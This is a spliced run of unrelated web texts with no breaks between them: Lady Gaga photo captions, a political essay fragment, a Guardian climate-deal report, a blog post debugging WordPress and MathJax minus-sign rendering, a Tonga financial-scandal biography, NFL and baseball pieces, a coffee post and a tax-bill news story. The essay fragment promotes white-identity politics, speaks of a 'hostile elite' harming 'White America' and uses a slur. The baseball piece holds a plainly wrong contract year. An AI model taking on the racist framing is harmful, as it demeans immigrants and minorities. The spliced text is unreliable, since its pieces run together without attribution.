nimbus? Also: If you think you can see nipple, it's because you can. Getty." /> Advertisement SEPTEMBER New York, September 30. Lady Gaga teamed up with Dr. Dre for Heartbeats, her high-end headphones. What does one wear to a headphone launch? An outfit which consists of cake frosting and 1930s tap pants. Of course. WENN." /> Advertisement OCTOBER New York, October 2. At the Billboard Women In Music brunch — yes, brunch: Hair today, gone tomorrow. AP." /> Advertisement NOVEMBER New York, November 2. Bra on the outside. Marie Antoinette cotton candy hair. Monster claws. A little Renoir, a ltitle rococo. Getty." /> Advertisement NOVEMBER London, November 4. Russian roulette is not the same without a gun And baby when it's love if its not rough it isn't fun… Oh, oh oh oh oh… Can't read my, can't read my, no he can't read my poker face Bauer-Griffin." /> Advertisement NOVEMBER Braunschweig, Germany; November 7. Another exercise in defying gravity — this time for the German TV show Wetten dass...? AP." /> Advertisement NOVEMBER Los Angeles, November 14. Made up like a Columbine from a Harlequinade! Getty." /> COLUMBINE : Pierrot, My vinaigrette! I cannot live without My vinaigrette! PIERROT: My only love, you are So fundamental!... How would you like to be An actress, Columbine? I am become Your manager. COLUMBINE : Why, Pierrot, I can't act. PIERROT: Can't act! Can't act! La, listen to the woman! What s that to do with the price of furs? You're blonde, Are you not? you have no education, have you? Can't act! You under-rate yourself, my dear! COLUMBINE: Yes, I suppose I do. PIERROT: As for the rest, I'll teach you how to cry, and how to die, And other little tricks ; and the house will love you. You ll be a star by five o clock... that is, If you will let me pay for your apartment. Advertisement — From Aria Da Capo, by Edna St. Vincent Millay Getty." /> Advertisement NOVEMBER Los Angeles, November 22. The American Music Awards: Bones, mugs & harmony. Getty." /> Advertisement NOVEMBER Los Angeles, November 23. Part Herman Munster, part Riff Raff from Rocky Horror. Like something out of the Beetle Juice waiting room. But classy! Getty." /> Advertisement DECEMBER Blackpool, December 7. The Lady managed to be fully covered when she met the Queen. It's doubtful that Her Majesty had ever seen latex leg o'mutton sleeves before, but you never know. Getty." /> Advertisement DECEMBER New York, December 8. After a long year, The Lady looked lovely in a restrained gown at the launch of VEVO. And there you have it: Girlish, tough, proper, whimsical, fierce, provocative and experimental, a year of Gaga ensembles makes you wonder what she'll do next. Some say, when it comes to fashion, she is more powerful than Anna Wintour. Regardless: If you made it this far, click here for a message from Lady Gaga herself. Advertisement Applause! THE LADY AND HER BIRD NEST SALUTE YOU. Read more Read Getty." /> Advertisement JANUARY London, January 15. The year began with a demure, understated white jumpsuit, accessorized with a bow of hair. A nod to the noted adventurer Alice In Wonderland? Perhaps… But The Lady loves a girlish touch. Bauer-Griffin." /> Advertisement JANUARY Munich, Germany; January 26. At something called DLD Star Night at Haus der Kunst, the Lady "rocked" crystal formations. Getty." /> Advertisement JANUARY She's hard as a rock, a gem. Getty." /> Advertisement JANUARY London, January 28. After hanging out with Mark Ronson, The Lady was seen wearing an oh-so-breathable latex ensemble. A flower in the hair keeps it feminine! Bauer-Griffin." /> Advertisement FEBRUARY London, February 18. This image was shot during rehearsals for the Brit Awards 2009 at Earls Court, London. These leggings were ankle-length during rehearsals, but during her actual performance, the legs had been cut off so that only a patterned panty remained. She is Captain of Team No-Pants. Bauer-Griffin." /> Advertisement FEBRUARY London, February 18. Backstage at the Brit Awards: A scorching hot pink cocktail dress. Getty." /> Advertisement MARCH Santa Monica, CA; March 11. For an Interscope Records portrait session, a masculine tuxedo jacked was paired with a disco ball bra and shorts. Victor/Victoria! AP." /> Advertisement MARCH Los Angeles, March 13. During a show at the Wiltern Theater, geometric shapes and a gravity-defying skirt. Getty." /> Advertisement APRIL London, April 16. Purple reign? Purple drank? WENN." /> Advertisement APRIL April 20, London. A temptress and a teacup. Bauer-Griffin." /> Advertisement APRIL Paris, April 23. Lyrics from Lady Gaga's song "The Fame" seem to fit here: I can't help myself I'm addicted to a life of material It's some kind of joke I'm obsessively opposed to the typical All we care about is runway models, Cadillacs and liquor bottles Give me something, I wanna be Retro glamour, Hollywood, yes we live for the Fame… Advertisement Bauer-Griffin." /> MAY Boston, May 4. An Electric Lady during a performance for The Grammy Celebration Concert Tour at the House of Blues. How many leotards do you think she owns? Advertisement AP." /> MAY Sydney, Australia; May 21. Captain No Pants marches on. Bauer-Griffin." /> Advertisement JUNE Toronto, June 19. If you're keeping notes, purple is a yes; pants are a no. Bauer-Griffin." /> Advertisement JUNE Toronto, June 19. Your love is nothing I can't fight, Can't sleep with the man who dims my shine. — "I Like It Rough," Lady Gaga Bauer-Griffin." /> Advertisement JUNE Toronto, June 21. I can see you staring there from across the block With a smile on your mouth and your hand on your [huh] — "Love Game," Lady Gaga Bauer-Griffin." /> Advertisement JUNE Toronto, June 21. Danger + sexuality + power = A Lady Gaga performance. AP." /> Advertisement JUNE Toronto, June 21. At the 2009 MuchMusic awards, Lady Gaga won Best International Video. She did not, however, sing any songs from Hair. Unfortunately. Bauer-Griffin." /> Advertisement JULY London, July 14. Maison Michel bunny ears and an elaborately knit sweater dress prove that The Lady is provocative even when her body is mostly covered. Bauer-Griffin." /> Advertisement JULY German TV
in common with South American populist demagogues than with our tradition of political leaders.” David Boaz: “Trump’s greatest offenses against American tradition and our founding principles are his nativism and his promise of one-man rule. … He’s effectively vowing to be an American Mussolini, concentrating power in the Trump White House and governing by fiat.” David McIntosh: Trump’s policy ideas are “the ramblings of a liberal wannabe strongman who will use and abuse the power of the federal government to impose his ideas on the country.” There is essentially zero evidence for any of this. But underneath such sentiments is a guilty conscience—the realization that establishment conservatives have done nothing to stem the actions of our hostile elite in running roughshod over the interests of White America in maintaining its political and demographic hegemony. Indeed, in many ways, despite their rhetoric, they are a major part of our hostile elite. Several of the essayists acknowledge that there are very real grievances underlying the anger so many White Americans feel, including the failure of Republicans to do anything to stem the anger and frustration of its base (see especially Domenech and Reno). But their prescription is that these extremely frustrated, angry (White) voters reject Trump and pledge allegiance to principles of individual freedom, limited government, the free market, etc., and hope for the best, even though they can’t explain how these principles would do anything to assuage their deeper concerns. Indeed, these principles are sometimes used as a rationale for the immigration onslaught, as with David McIntosh of the very pro-immigration, philosophically libertarian, free trade-obsessed Club for Growth. It’s like they are saying, “Okay, we haven’t done anything to help you out and we can’t explain how subscribing to principles of freedom and limited government would really address your concerns over how immigration has transformed the U.S. But please don’t vote for the only person who is even discussing these concerns.” Nobody’s listening, apart from the Beltway conservatives who are plugged into the Conservatism, Inc. gravy train. If we are in fact seeing the beginning of a politics of more-or-less explicit White identity, the irrelevant cuckservatives at the dying NR must receive a great deal of the credit. And for that we can be thankful. [1] Smith, R. M. (1988). The “American creed” and American identity: The limits of liberal citizenship in the United States. Western Political Science Quarterly 41:225–252.Barack Obama aims for reduction of a quarter or more by 2025, while Xi Jinping sets goal for emissions to fall after 2030 US and China strike deal on carbon cuts in push for global climate change pact The United States and China have unveiled a secretly negotiated deal to reduce their greenhouse gas output, with China agreeing to cap emissions for the first time and the US committing to deep reductions by 2025. The pledges in an agreement struck between President Barack Obama and his Chinese counterpart, Xi Jingping, provide an important boost to international efforts to reach a global deal on reducing emissions beyond 2020 at a United Nations meeting in Paris next year. China, the biggest emitter of greenhouse gases in the world, has agreed to cap its output by 2030 or earlier if possible. Previously China had only ever pledged to reduce the rapid rate of growth in its emissions. Now it has also promised to increase its use of energy from zero-emission sources to 20% by 2030. The United States has pledged to cut its emissions to 26-28% below 2005 levels by 2025. The European Union has already endorsed a binding 40% greenhouse gas emissions reduction target by 2030. Speaking at a joint press conference at the Great Hall of the People, Obama said: “As the world’s largest economies and greatest emitters of greenhouse gases we have special responsibility to lead the global effort against climate change. I am proud we can announce a historic agreement. I commend President Xi, his team and the Chinese government for their making to slow, peak and then reverse China’s carbon emissions.” He said the US emissions reductions goal was “ambitious but achievable” and would double the pace at which it is reducing carbon emissions. “This is a major milestone in US-China relations and shows what is possible when we work together on an urgent global challenge.” He added that they hoped “to encourage all major economies to be ambitious and all developed and developing countries to work across divides” so that an agreement could be reached at the climate change talks in Paris in December next year. Xi Jinping said: “We agreed to make sure international climate change negotiations will reach agreement as scheduled at the Paris conference in 2015 and agreed to deepen practical co-operation on clean energy, environmental protection and other areas.” China’s target to expand energy from zero-emission sources to around 20% by 2030 was “notable”, a White House statement said. “It will require China to deploy an additional 800-1,000 gigawatts of nuclear, wind, solar and other zero-emission generation capacity by 2030 – more than all the coal-fired power plants that exist in China today and close to total current electricity generation capacity in the United States.” The UN’s climate chief, Christiana Figueres, said: “These two crucial countries have today announced important pathways towards a better and more secure future for humankind.” Herman Van Rompuy, the president of the European Council, and Jean-Claude Juncker, the European Commission president, urged other countries to show their hand on emissions cuts: “We welcome the announcement today by the presidents of the United States and China on their respective post-2020 actions on climate change. “The announcements to date cover around half of the global emissions. We urge others, especially the G20 members, to announce their targets in the first half of 2015 and transparently. Only then we can assess together if our collective efforts will allow us to fulfil the goal of keeping global temperature increases well below 2C.” The new US goal will double the pace of carbon pollution reduction, though the Republican-controlled Congress is likely to oppose Obama’s climate change efforts. The US Senate’s new Republican leader, Mitch McConnell, was quick to criticise the Beijing pact. “This unrealistic plan, that the president would dump on his successor, would ensure higher utility rates and far fewer jobs,” he said. Administration officials argue the new target is achievable under existing laws. Emissions of G20 countries. Photograph: Nick Evershed/Guardian Australia Frances Beinecke, president of US-based environmental group the Natural Resources Defence Council, said: “These landmark commitments to curtail carbon pollution are a necessary, critical step forward in the global fight against climate change. We look forward to working with both governments to strengthen their efforts because we are confident that both can achieve even greater reductions.” Senior US administration officials said the commitments, the result of months of dialogue between the world’s top two carbon emitters, would encourage other nations to make pledges and deliver “a shot of momentum” into negotiations for a new global agreement set to go into force in 2020. Tao Wang, climate scholar at the Tsinghua-Carnegie Center for Global Policy in Beijing, said: “It is a very good sign for both countries and injects strong momentum [into negotiations] but the targets are not ambitious enough and there is room for both countries to negotiate an improvement. “That figure isn’t high because China aims to reach about 15% by 2020, so it is only a five percentage point increase in 10 years, and given the huge growth in renewables it should be higher.” Andrew Steer, president of the World Resources Institute, which promotes sustainable resource management, said the announcements would “inject a jolt of momentum in the lead up to a global climate agreement in Paris”. “It’s a new day to have the leaders of the US and China stand shoulder to shoulder and make significant commitments to curb their country’s emissions,” he said. Li Shuo, of Greenpeace East Asia, said the announcement showed that the world’s “two biggest emitters have come to the realisation that they are bound together and have to take actions together”. At the Warsaw climate talks in 2013 nations were encouraged to draw up post-2020 climate plans by the first quarter of 2015, ahead of the final negotiations for a post-2020 global pact late in the year. The White House statement said: “Together the US and China account for over one-third of global greenhouse gas emissions. Today’s joint announcement, the culmination of months of bilateral dialogue, highlights the critical role the two countries must play in addressing climate change. “The actions they announced are part of the longer range effort to achieve the deep decarbonisation of the global economy over time. These actions will also inject momentum into the global climate negotiations on the road to reaching a successful new climate agreement next year in Paris.”As I was finishing up the previous post here at bit-player.org, I noticed something off-kilter about the appearance of a few mathematical expressions. Here’s an enlarged example: Notice the spacing around the minus sign. It’s too close to the argument on its left, whereas the plus sign lies right in the middle. The proper rendering of this expression looks like this: Closely comparing the two images, I realized that spacing isn’t the only issue. In the malformed version the minus sign is also a little too long, too low, and too skinny. For typesetting mathematics, I rely on MathJax, an amazing JavaScript program created by Davide Cervone of Union College. It works like magic: I write in standard TeX (math mode only), and the typeset output appears beautifully formatted in your web browser, with no need to bother about installing fonts or downloading plugins. For the past few years MathJax has been totally reliable, so this spacing glitch came as an annoying surprise. The notes that follow record both what I did and what I thought as I tried to track down the cause of this problem. If anyone else ever bumps into the bug, the existence of this document might save them some angst and agita. Besides, everybody likes a detective story—even if the detective turns out to be more bumbling than brilliant. (If you just want to know how it comes out, skip to the end.) Hypothesis: My first thought on seeing the wayward minus sign was that I must have typed something wrong. The TeX source code for the expression shown above is so simple (just a + b - c ) that there’s not much room for error, but accidents happen. Maybe one of those space characters is not an ordinary word space (ASCII 0x20 ) but a non-breaking space (HTML ). Or maybe the hyphen that represents a minus sign is not really a hyphen (ASCII 0x2D ) but an en-dash (HTML – or – ) or a discretionary hyphen (HTML or ). Experiment 1: Try typing the expression again, very carefully. Result: No change. Experiment 2: Copy the original source text into an editor that shows raw hexadecimal byte values. Result: Nothing exotic. Experiment 3: Copy the source text into a different TeX system (Pierre-Yves Chatelier’s LaTeXiT). Result: Typesets correctly. Conclusion: Probably not a typo. Question: Could it be a browser bug? Tests: Try it in Chrome, Firefox, Safari, Opera. Results: Same appearance in all of them. Conclusion: It’s not the browser. Internet interlude: The most important debugging tools today are Google and Stack Overflow. Most likely the answer is already out there. But searches for “minus sign spacing MathJax” and “minus sign spacing TeX” turn up nothing useful. The most promising leads take me to discussions of the binary subtraction operator $a - b$ vs. the unary negation operator $-b$. That’s not the issue here, so I am thrown back on my own resources. Question: Is it just my machine? Test: Try opening the same page on another laptop. Result: Same appearance. However, these two computers are very similar. In particular, they have the same fonts installed. Test: Try a third machine, with different fonts. Result: No change. Question: Is the problem confined to the one article I’m currently writing, or does it show up in earlier blog posts as well? Research: Page back through the bit-player archives. I find several more instances of the bug. Followup question: Was the minus-sign spacing in those earlier articles already botched when I wrote and published them? Or were they correct then, and the bug was introduced by some later change in the software environment? Clue: In the course of rummaging through old blog posts, I discover that the spacing anomaly appears only in “inline” math expressions (those that appear within the flow of a paragraph), not in “display” equations (which are set off on a line of their own). The two rendering modes are invoked by surrounding an expression with different sets of delimiters: $... $ for inline and \[... \] for display. By merely toggling between round and square brackets, I find I can turn the bug on and off. This discovery leads me to suppose there really might be something awry within MathJax. If it formats an expression correctly in one mode, why does it fail on the same input text in another mode? Investigation: Using browser developer tools, I examine the HTML markup that MathJax writes into the document. In display mode (where the spacing is correct), here’s the coding for the minus sign: <span class="mo" id="MathJax-Span-15" style="font-family: STIXGeneral-Regular; padding-left: 0.228em ;">-</span> The phrase I have highlighted in red is the crucial bit of styling that sets the spacing on the left side of the minus operator. Here’s the corresponding markup for the minus sign in the inline version of the same expression: <span class="mo" id="MathJax-Span-22" style="font-family: STIXGeneral-Regular;">–</span> The padding-left statement is absent. This is the proximate cause of the incorrect spacing. But why does MathJax supply the appropriate spacing in display mode but omit it in inline mode? That’s the puzzle. Inquiry: I turn to the MathJax source-code repository on GitHub, and browse the issues database. Nothing relevant turns up. Likewise the MathJax user group forum. Baffling. If the problem really is a MathJax bug, someone would surely have reported it, unless it’s quite new. I consider opening a new issue, but decide to wait until I know more. Question: The bug seems to be everywhere on bit-player.org, but what about the rest of the web? On MathOverflow (which I know uses MathJax) it doesn’t take long to find an inline equation that includes a minus sign. It is formatted perfectly. David Mumford’s blog is another MathJax site; I poke around there and find another inline equation with a correctly spaced minus sign. Uh oh. The finger of blame is pointing back toward me and away from MathJax. Question: Am I using the same version of MathJax as those other sites, and the same configuration file? Not exactly, but when I try several other versions (including older ones, in case this is a recently introduced bug), there’s no change. Pause for reflection: MathJax seems to be behaving differently on bit-player than it does on other sites. What could account for that difference? There are dozens of possible factors, but I have a leading candidate: bit-player is built on the WordPress blogging platform, and the other sites I’m looking at are not. I have no idea how the interaction of WordPress and MathJax could lead to this particular outcome, but they are both complicated software systems, with lots going on behind the curtains. Experiment: I can test the WordPress hypothesis by setting up a web page that has everything in common with the bit-player site—the same server hardware and software, and the same MathJax processor—but that lives outside the WordPress system. I do exactly that, and find that minus signs are correctly formatted in both display and inline equations. Conclusion: It sure looks like WordPress is messing with my TeX! Revelation: Throughout this diagnostic adventure, I’ve been relying heavily on the developer tools in the Chrome and Firefox browsers. These tools provide a peek into a page’s HTML encoding as it is displayed by the browser, after MathJax and any other JavaScript programs have worked their transformations on the source text. Now, for sheer lack of any better ideas, I decide to try the View Source command, which shows the HTML as received from the server, before any JavaScript programs run, and in particular before MathJax has converted TeX source code into typeset mathematical output. Instantly, the root of the problem is staring me in the face. The display-mode TeX is exactly as I wrote it: \[a + b - c\]. But the inline-mode markup is this: $a + b – c$. The HTML entity – specifies an en-dash. Where did that come from? Actually, I’m pretty sure I know where; what I don’t know is why. WordPress has built-in functions to “prettify” text, converting typewriter quote marks ( '', "" ) to typographer’s quotes (‘ ’, “ ”). More to the point, the program also replaces a double hyphen ( -- ) with an en-dash (–) and a triple hyphen ( --- ) with an em-dash (—). Although I haven’t been typing double hyphens in the math expressions, I still suspect that the WordPress character substitution process has something to do with those troublesome en-dashes. Confirmation: Before investing more effort in this hypothesis, I try to make sure I’m on the right track. Typing my test expression with an en-dash instead of a hyphen produces output identical to the buggy version, in display mode as well as inline mode. Performing the same experiment in LaTeXiT yields a very similar result. The culprit exposed: Searching for #8211 in the WordPress source code takes me to the file formatting.php, where I find a function called wptexturize. PHP is not my favorite programming language, but it’s easy enough to guess what these lines are about (I have simplified and abbreviated the statements for clarity): $static_characters = array( '---','-- ', '--','- ') $static_replacements = array( $em_dash,''. $em_dash.'', $en_dash,''. $en_dash.'') Note the fourth element of the $static_characters array: a hyphen surrounded by spaces. The corresponding element of $static_replacements is an en-dash surrounded by spaces. I call that a smoking gun. MathJax, like other TeX processors, expects an ASCII hyphen as a minus sign; if you feed it an en-dash, it’s not going to recognize it as a mathematical operator. (When Knuth was developing TeX, circa 1980, no standard character encoding existed beyond the 96 codes of plain ASCII.) The fix: It could be as simple as writing a+b-c instead of a + b - c! When I make that minor change to the text, it works like a charm. Why didn’t I think of trying that sooner? I guess because TeX in math mode promises to ignore whitespace in the source code, and it never occurred to me that WordPress doesn’t have to honor that promise. Thus I can solve the immediate problem just by removing spaces around minus signs. As a permanent remedy, however, changing my writing habits is not appealing. Nor is sifting through all my earlier posts to remove those spaces. The fact is, I don’t want hyphens to magically become en-dashes while I’m not looking. It may be a feature for some people, but for me it’s a bug. What I did. The first commandment of WordPress development is “Thou shall not modify the core files.” But in that respect I’m already a sinner, and unrepentant. Yeah, I edited those two arrays in the formatting.php file, and it felt good. Lessons learned. In hindsight, I see that I missed several opportunities to root out the problem more quickly. Next time I’ll remember View Source. And if I had done a better job of early-stage analysis, I would have been able to find help more efficiently. I am not the only one to confront this glitch, but I needed better search terms to follow the breadcrumbs of those who went before. Also, along the way I misinterpreted some important clues. When I discovered that the bug affects only inline mode and not display mode, I was quite sure that fact implicated MathJax, but I was wrong. (As it happens, I still don’t really understand why display mode is immune to the bug. Why is the hyphen converted to an en-dash when I enclose it in slashed round brackets, but not when it appears in slashed square brackets? Evidently the wptexturizing treatment is skipped in the latter case, but I lack the stamina to slog through all that PHP to figure out why.) The big picture: I’m not mad at WordPress. I still believe it is a wonder of the age, making millions of people into instant, pushbutton publishers. According to some reports, it powers a quarter of all web sites. In this respect it may well be the most important application-layer software for fulfilling the original promise of the World Wide Web: allowing all of us to be contributors and creators rather than merely consumers of mass media. But there’s a cost: Keeping WordPress easy on the outside seems to require a dense thicket of thorns and briers on the inside. As the years go by I find I spend too much time fighting against its automation, which is a joyless task. I would prefer something simpler. I have Jekyll envy. Yet my main takeaway after this episode is gratitude for open-source software. If MathJax and WordPress had been sealed, blackbox applications, I would have been helpless to help myself, unable to do anything about the problem beyond whining and pleading.On & Beyond Shoots 'I Wish They Made This for Girls' - May 28, 2012 References: highsnobiety References: onandbeyond Inspired by the female commentary On & Beyond photographer, Vincent Tsang, had heard his whole life, he entitles a recent photo series, 'I Wish They Made This for Girls.' Tsang uses the girl-next-door-type as models who, appropriately, he deems are some of the most gorgeous women in his life. Trying to recreate that feeling many men feel when they see their lady in their t-shirt the next morning, the series features his favorite clothing and lables, including Arc’Teryx, White Mountaineering, Sophnet, Stussy, Penfield, Engineered Garments, Supreme and 3sixteen gear. Despite wearing men’s clothing, the pieces hardly come off as overly masculine or oversized. Perhaps this is because men’s clothing has become slimmer fit, and girls have readily adopted this look promoting the trend towards unisex (non-gender specific) and more practical women’s clothing. Essentially, they’ve stopped wishing and just decided it’s for them.Jesse Bogdonoff (born April 1, 1955) is a former Bank of America financial advisor to the government of Tonga and court jester of Taufa'ahau Tupou IV, the king of Tonga. He was embroiled in a financial scandal.[1] Scandal [ edit ] Bogdonoff made headlines in 2001 and 2002 after being accused of mismanaging millions of dollars from the nation of Tonga. He had been the Tongan government's financial advisor since 1994, claiming to have made the government millions in the rising stock markets of the booming 1990s. Bogdonoff managed the Tonga Trust Fund after it had been funded by the Tongan government in 1986 in a scheme in which the Tongan government sold passports to frightened Hong Kong nationals who were unnerved by the 1997 expiration of the British lease on Hong Kong from China. In 1999 Bogdonoff recommended moving the Tongan portfolio out of the bulging stock market bubble and into a pool of insurance backed investments called viatical contracts managed by the Millennium Asset Management Company. In 2001 he learned that Herchell Hyatt, the owner of Millennium Asset Management Company, had stolen millions of Tonga's money and filed false accounting statements for the Tonga account. Bogdonoff arranged a recovery program for Tonga backed by Lloyd's of London to protect against the losses. The Tongan government became paralyzed in an internal political debate led by the Tongan democracy movement in its effort to gain ground by embarrassing the royal family, which dismissed the only senior government ministers who were attempting to implement the recovery plan to save the Tonga Trust Fund. Without the recovery plan the Tonga Trust Fund was effectively wiped out. The government proceeded to sue Bogdonoff and all the parties involved in the transaction for fraud and negligence. Without admitting guilt of any fraud, Bogdonoff settled his part of the lawsuit in 2004. Post-scandal life [ edit ] As of 2006, Bogdonoff has not been to Tonga since 2004 due to his history there. He was not present during King Taufa'ahau Tupou IV's funeral in September 2006. Bogdonoff claimed he was concerned for his safety due to the large number of Tongan citizens who have settled in the United States. He now offers classes in hypnosis and is a clinical therapist using hypnosis to aid in recovery from post traumatic stress.[2] As of 2006, now called Jesse Dean, he is the founder and sole practitioner of the Open Window Institute of Emotional Freedom in Sonoma County, California.[3] Jester [ edit ] Bogdonoff's status as official court jester of Tupou's court made sensational news copy when the financial scandal hit the media in 2001. Tonga was the first royal court to appoint a court jester in modern times, being appointed in 1999.[4]The Miami Dolphins have placed linebacker Koa Misi on injured reserve today. The move makes room on the roster for the Dolphins to add cornerback Bene' Benwikere off the waiver wire. The cornerback was cut Friday by the Carolina Panthers after he struggled to cover Julio Jones the previous Sunday, allowing Jones to have a good portion of his 300-yard day against the Panthers. The Misi move is a stunner. One NFL source said Misi's neck injury could potentially be career-threatening. Misi has been seen by at least one specialist and is expected to seek the advice of others. Misi missed the last two games with a neck injury but there was no public indication the injury was serious enough to have him miss the remainder of the season much less threaten his career. Although Misi is eligible to return to the roster after eight weeks, that seems unlikely. Aside from the injury's seriousness, the Dolphins have at least one other players on injured reserve -- defensive tackle Earl Mitchell -- that they'd like to bring off injured reserve and he is eligibile to return in four weeks. Misi, 29, finishes the year on injured reserve for the second consecutive year. Misi has not been able to stay healthy to play 16 games in a season since 2010, his rookie year in the NFL. The Dolphins have been playing Donald Butler for Misi and that seems the direction that will continue.About a month ago, the Angels lost Mike Trout to injury. He’s still a few weeks away from returning. Trout’s absence was supposed to be crippling, and indeed, it probably should’ve been crippling. But one of the best active fun facts around is that, since Trout was sidelined, the Angels have played better. Now, that isn’t something I suggest you over-interpret. It doesn’t mean anything much. It doesn’t mean Trout isn’t the most valuable player in the world. It’s just a random curiosity. And, good for the Angels! What they’ve pulled off has been deeply impressive. At this point, the Angels are very much a wild-card contender. Trout’s coming back soon. So there’s reason to look up and down the roster in an attempt to identify areas for improvement. There are still various areas of concern, but one’s eyes are drawn to Albert Pujols. Pujols, right now, has a 2017 WAR of -1.0. That’s tied for the second-lowest mark in the game. Pujols, through that lens, has been a major problem, and few of his regular numbers are any good. However, the Angels themselves have pushed back. They’ve publicly disagreed with the idea that Pujols hasn’t been useful. I’m going to borrow from Bill Shaikin, writing on Monday. Here are three excerpts: But there are days when analytics make you shake your head, and Monday was one of those days for the Angels. According to Fangraphs, Albert Pujols entered play Monday as the least valuable position player in the American League, at least among the 87 qualifiers for the batting title. “We don’t attach that statement to Albert Pujols,” general manager Billy Eppler said. “That is definitely not something we believe.” More from the GM: “Our analysis, our viewpoint is that in Albert’s case, we’re seeing a guy that still has a lot of presence in the middle of the order,” Eppler said. “He impacts the baseball, and he has big at-bats.” And from the manager: Fangraphs rated Pujols at -1.0 WAR (wins above replacement), essentially arguing a generic minor league callup would be more valuable to the Angels. “Than Albert?” manager Mike Scioscia said. “The guy is, what, fourth or fifth in our league in RBIs? Those guys don’t fall off of trees. This guy has done a good job for us.” Now, the Angels have every reason to come to Pujols’ defense. It would do them zero good to criticize his performance around the media, especially given that Pujols is under contract with the team through 2066. Teams support their own players, because teams need their own players, and Pujols isn’t going anywhere. Why upset him? The numbers do speak for themselves — Pujols’ average is under.250. His OBP is under.300. His SLG is under.400. He’s also, it turns out, baseball’s slowest sprinter. There’s not a whole lot of good. But this is where this gets fun. It’s true that Pujols is an underachieving, slow-footed DH. It makes sense that his WAR is what it is. But the Angels also aren’t just being blindly defensive. They have a real argument. This comes down to how you try to assign value, and Pujols has been a lot more productive when situations have mattered the most. What the numbers say: Pujols has not been good. What the Angels say: Pujols has mostly concentrated his good moments in important situations. WAR gives no credit for the latter, but of course, the latter can make a massive difference. Just because it’s not particularly predictive doesn’t mean it’s irrelevant. So why don’t we just fast-forward here? I present to you Albert Pujols’ 2017 batting splits: 2017 Albert Pujols Split wRC+ Percentile Overall 76 10% Low Leverage 41 3% Medium Leverage 80 20% High Leverage 210 95% Pujols, overall, has swung a below-average bat. Part of that is declining speed, and part of that is declining other things. In low-leverage situations — situations that haven’t mattered very much — Pujols has been terrible. One of the very worst hitters in the game. In medium-leverage situations, Pujols has been mediocre. But when the stakes have been raised, Pujols has generated an elite batting line. He’s there among the game’s top five percent. Pujols has had by far the fewest opportunities in the high-leverage split, but that’s where many games are won and lost. Pujols has felt like a contributor, because his contributions have been conspicuous. In this table, I’ve isolated Pujols’ 25 plate appearances this year with the highest leverage indices. This basically just supports the data above, but there’s no harm in a breakdown: Top 25 Leverage PA LI Play WPA 9.10 Out -0.263 6.76 Single, RBI 0.465 5.82 Single, RBI 0.171 5.63 Out -0.117 4.92 Single, RBI 0.424 4.75 Out -0.122 4.32 Out -0.069 4.28 Single, RBI 0.257 3.74 Home run 0.348 3.59 Double, RBI 0.321 3.33 Single, RBI 0.196 3.32 Double play -0.142 3.22 Single 0.232 3.13 Out -0.095 3.05 Out -0.076 2.99 Double, RBI 0.360 2.96 Out -0.084 2.91 Walk 0.023 2.86 Out -0.078 2.84 Out -0.071 2.74 Out -0.075 2.60 Single, RBI 0.102 2.44 Home run 0.299 2.44 Out -0.055 2.35 Out -0.061 Out of those 25 plate appearances, you see one walk. Outside of that, Pujols has gone 11-for-24 with two doubles and two home runs. In one sense, it’s a mirage, but in another, it’s very much not, since all of those events have already happened. They’re in the books, and this is why Pujols looks an awful lot better when you fold in his timing. Here’s one more small and simple table, which shows you where the differences in opinion are: 2017 Albert Pujols Stat Performance Percentile WPA 1.25 74% WPA/LI -1.10 4% Clutch 2.27 99% Win Probability Added is offensive-minded. It doesn’t really consider Pujols’ baserunning or position. By WPA/LI, which strips away the timing component, Pujols has been a below-average bat. One of the worst bats around, in fact. By WPA/LI, you find him on the leaderboards around names like Jose Iglesias and Maikel Franco. However, WPA is more reflective of how teams would feel about a contributor. WPA does care about timing, because timing is critical, and there, Pujols has been well above-average. You find him on the leaderboards around names like Daniel Murphy and Travis Shaw. It’s all explained by that last row — according to our Clutch statistic, Pujols has been baseball’s most clutch offensive player, by a large margin. That’s exactly why WAR doesn’t like him, but the Angels still have positive feelings. According to regular WAR, Pujols has been a win below replacement. But good timing, to this point, has made Pujols a little more than two wins more valuable than you’d think. So he’s been more like a win above replacement, give or take a little bit. And no one would complain about that, roughly halfway through the year. That would put Pujols on pace to be an average player. And you can throw the soft factors into the mix — Pujols is a role model and a leader in the clubhouse, they say. He is still Albert Pujols. So the Angels are technically correct, here. Albert Pujols has been more valuable to them than his WAR. Saying that doesn’t require them to stretch the truth. Of course, if you pressed Eppler, in an off-the-record setting, he’d probably acknowledge the rest of the picture. Pujols can’t keep doing this. Pujols can’t keep being helpful with a 76 wRC+. For the most part, it’s been a statistical fluke. But every single other year he’s been in the majors, Pujols has had an above-average bat. The Angels could be counting on an offensive improvement, to offset the clutch-related decline. It could just be that Pujols has weathered this three-month storm. There’s been a lot of weathering going on over there.So here's what happened. I used my work address because there's always someone in the mail room in case I'm not around to receive the package. So I stop into work in the mailroom late last night and nobody's around. I go to the stack of packages and see a box from Amazon I ordered - sweet. But right next to it I see a padded bag with a Bird Rock coffee logo on it and I think, hey that's cool - I know that place - I've been there - who at work is ordering coffee from La Jolla? So I snoop and look at who it's addressed to - AND IT WAS ME! When I showed it to my gf she says "oh my god you have to tell him it's my favorite coffee shop ever" - so here I am, telling you this now! I got a bag of Kenya Rung'eto that was roasted 3 days ago that I'm going to devour! (the cup is mine but wanted to include to show that I really have been there and do super enjoy their roasts) Not sure how/why my SS picked this roaster but, excellent choice!Senate Majority Leader Senator Mitch McConnell walks to the Senate Floor on Capitol Hill on Dec. 1. \| Brendan Smialowski/AFP/Getty Images Senate passes sweeping tax overhaul Debate spilled into the wee hours after a day of horse trading. The Senate narrowly passed a massive tax overhaul early Saturday morning, putting Republicans on the cusp of revamping the U.S. tax system for the first time in more than three decades. The 51 to 49 vote came after Senate Republicans frantically rewrote the multi-trillion dollar legislation behind closed doors to win over several final holdouts, and left congressional Republicans just a few steps away from sending legislation to President Donald Trump’s desk. The House passed its own plan in November. Story Continued Below Sen. Bob Corker of Tennessee was the only Republican to oppose the measure, in what’s also a big victory for Senate Majority Leader Mitch McConnell (R-Ky.), who repeatedly fell short in his efforts to push through an Obamacare repeal measure this year. “I think one reason we were able to get there was because there’s widespread interest,” McConnell said in an interview with POLITICO. “Every single member of our conference wanted to get to yes, and all but one did.” President Donald Trump praised McConnell and Senate Finance Chairman Orrin Hatch in a tweet after the bill passed, adding, “We are one step closer to delivering MASSIVE tax cuts for working families
